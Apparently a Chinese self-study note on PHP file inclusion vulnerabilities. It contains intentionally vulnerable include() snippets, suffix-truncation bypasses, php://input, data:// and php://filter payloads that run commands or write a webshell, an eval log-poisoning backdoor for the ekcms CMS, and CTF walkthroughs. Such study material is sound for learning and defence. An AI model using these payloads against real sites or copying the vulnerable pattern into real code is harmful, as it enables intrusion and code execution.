2020v6自学笔记web漏洞之文件包含漏洞全解

WEB 漏洞-文件操作之文件包含漏洞全解

2020v6自学笔记web漏洞之文件包含漏洞全解_第1张图片

#文件包含漏洞
原理:将指定文件以脚本代码去执行	对应网站是什么类型脚本就以什么脚本类型进行解析执行
本地演示:
	<?php
		$filename=$_GET['filename'];
		include($filename);		//php中包含函数
	?>
检测:
	1.白盒测试
		通过判断可控的变量和漏洞函数来判定漏洞是否存在
	2.黑盒测试
		(1)漏洞扫描工具
		(2)网上公开的漏洞
		(3)手工检测,根据该网站的可控的参数值和功能点进行判断漏洞的类型以及是否存在
类型:
	1.本地包含		只能包含本地的文件(限制性)
	无限制
	<?php
		$filename=$_GET['filename'];
		include($filename);		//php中包含函数	无限制
	?>
	有限制
	<?php
		$filename=$_GET['filename'];
		include($filename.".html");		//php中包含函数	包含文件指向了一个指定的后缀文件
	?>
	#绕过方法
		%00截断:条件:magic_quotes_gpc = off 并且PHP版本<5.3.4
		长度截断:Windows平台,文件命名长度256	linux平台文件命名长度4096	当文件名过长其添加的后缀就会失效
			如:Windows平台	xxx.xx.xx?filename=1.txt/./././././././././././././././././.(.号或其他能够正常解析的字符)等等进行长度截断
	2.远程包含		可以包含远程的文件(可控性更大,漏洞危害更大)
		无限制
	<?php
		$filename=$_GET['filename'];
		include($filename);		//php中包含函数	无限制
	?>
		有限制
	<?php
		$filename=$_GET['filename'];
		include($filename.".html");		//php中包含函数	包含文件指向了一个指定的后缀文件
	?>
	#绕过:在文件后缀加上%20 %23或字符等等进行绕过
利用:
修复:
#文件包含各个脚本代码
ASP,PHP,JSP,ASPX等
<!--#include file="1.asp" -->
<!--#include file="top.aspx" -->
<c:import url="http://thie.one/1.jsp">
<jsp:include page="head.jsp"/>
<%@ include file="head.jsp"%>
<?php include('test.php')?>
#各种协议流玩法——常出现在ctf中
PHP中filter协议:
	读取文件源码用法	//以base64位加密读取文件内	以防乱码
	php://filter/read=convert.base64-encode/resource=[文件名]
	http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php
PHP中input协议:
	(1)执行php代码用法
	php://input + [POST DATA]
	http://127.0.0.1/include.php?file=php://input
	[POST DATA部分]	//POST提交数据
	<?php phpinfo(); ?>	
	(2)写入一句话木马用法
	http://127.0.0.1/include.php?file=php://input
	[POST DATA部分]
	<?php fputs(fopen('shell.php','w'),''); ?>
PHP中data协议:
	执行指定代码
	data://text/plain,
	http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
file协议基本支持全平台:
	读取并执行指定文件中代码
	http://127.0.0.1/include.php?file=file://[指定文件路径 例如:D:/xx/xx/xx.txt]
伪协议所支持平台

2020v6自学笔记web漏洞之文件包含漏洞全解_第2张图片

2020v6自学笔记web漏洞之文件包含漏洞全解_第3张图片

演示案例
#本地文件包含代码测试-原理
#远程文件包含代码测试-原理
#各种协议流提交流测试-协议
#某 CMS 程序文件包含利用-黑盒
	ekcms建站系统黑盒测试
	首先通过在网上进行查找ekcms是否爆出漏洞,如果有就直接进行利用
	https://www.cnblogs.com/Oran9e/p/8873793.html
	若并没有就将源码下载到本地进行代码审计,本地搭建进行白盒测试
	通过在网上查找分析ekcms爆出文件包含漏洞
	ekcms漏洞原理:在ekcms这套程序中发现,这套程序会记录每次用户输入的错误信息,并生成一个日志文件,
	并且ekcms中有本地包含文件功能,这两个功能的连用出现了本地文件包含漏洞
	ekcms文件包含漏洞:发现文件包含为本地包含,本地包含只能包含该网站存在的文件,因此通过构造错误日志文件,而这个错误日志文件就是我们要执行的脚本代码{~eval($_POST[x]);},再利用本地包含日志,进行执行该日志文件中后门脚本
#通过ekcms系统文件包含漏洞,可以分析出文件包含漏洞三个特性:
1.本地包含限制,只能包含本地文件,因此造成我们不能自定义文件内容,从而不能实施漏洞利用
	本地文件包含问题解决方案:
	(1)文件上传配合本地包含执行后门脚本
	通过上传一个带有后门脚本代码的图片类型文件(注意这个文件可以是任何后缀类型文件,但前提是能够上传的文件类型,一般为图片类型文件),上传之后通过本地包含进行执行上传的图片文件,从而实施漏洞攻击
	(2)没有文件上传配合的本地包含
	通过代码分析等等信息收集,判断哪些文件我们能够操作,在将我们的后门代码放入进去,使用本地包含这个文件(例如ekcms中的日志文件,记录用户输入的错误信息)
2.远程包含文件,远程包含文件并没有太多限制,但唯一的前提是开启了远程包含这个功能
	直接包含我们构造好的一个远程网站上的一个后门脚本文件
#CTF-南邮大,i 春秋百度杯真题-白盒
南邮ctf真题解析:
	1.拿到网站进行分析,既然是黑盒测试,就从网站的url地址、参数、功能等等进行分析判断是什么漏洞类型
	2.进行手工检测:?file=show.php显示内容与 xx/xx/show.php内容一致	发现参数file是进行指定文件读取并执行
	3.通过判断,确认为文件包含	注意文件包含特点	将文件以脚本形式执行
	4.测试网站系统平台:使用大小写判断系统	判断系统为linux
	5.进行文件包含漏洞测试:使用伪协议filter测试读取当前网站首页源码index.php
	php://filter/read=convert.base64-encode/resource=index.php
	(注意在此之前我们可以利用其他伪协议进行测试,但是不同的伪协议要求的脚本和功能都不一样)
i春秋百度杯真题解析
	1.拿到网站开始分析:给出了源代码,以及phpinfo信息,进行白盒测试
	2.代码分析:发现关于文件包含的漏洞函数include();进行测试参数(根据代码分析参数path)是否可控
	3.通过代码分析,文件包含漏洞include函数,手工探测变量可控,确认为文件包含漏洞
	4.测试网站系统平台:使用大小写判断系统	判断系统为linux
	5.使用inupt伪协议进行测试,看是否有权限执行命令?path=php://input	
		post数据:<?php system('ls');?>
	6.发现其他文件,使用命令读取文件源码?path=php://input
		post数据:<?php system('cat<文件名');?>
	或使用伪协议读取源码文件:php://filter/read=convert.base64-encode/resource=[文件名]
#通过以上两个案例发现文件包含型漏洞在CTF中常以文件源码读取类型进行出题
涉及资源

(125条消息) 文件包含漏洞—allow_url_fopen和allow_url_include详解_the zl的博客-CSDN博客

php伪协议 - 看不尽的尘埃 - 博客园 (cnblogs.com)

选手训练营 - 网络安全竞赛|网络安全竞赛培训|信息安全竞赛培训-i春秋 (ichunqiu.com)

asdf (chinalover.sinaapp.com)

你可能感兴趣的:(自学笔记,安全)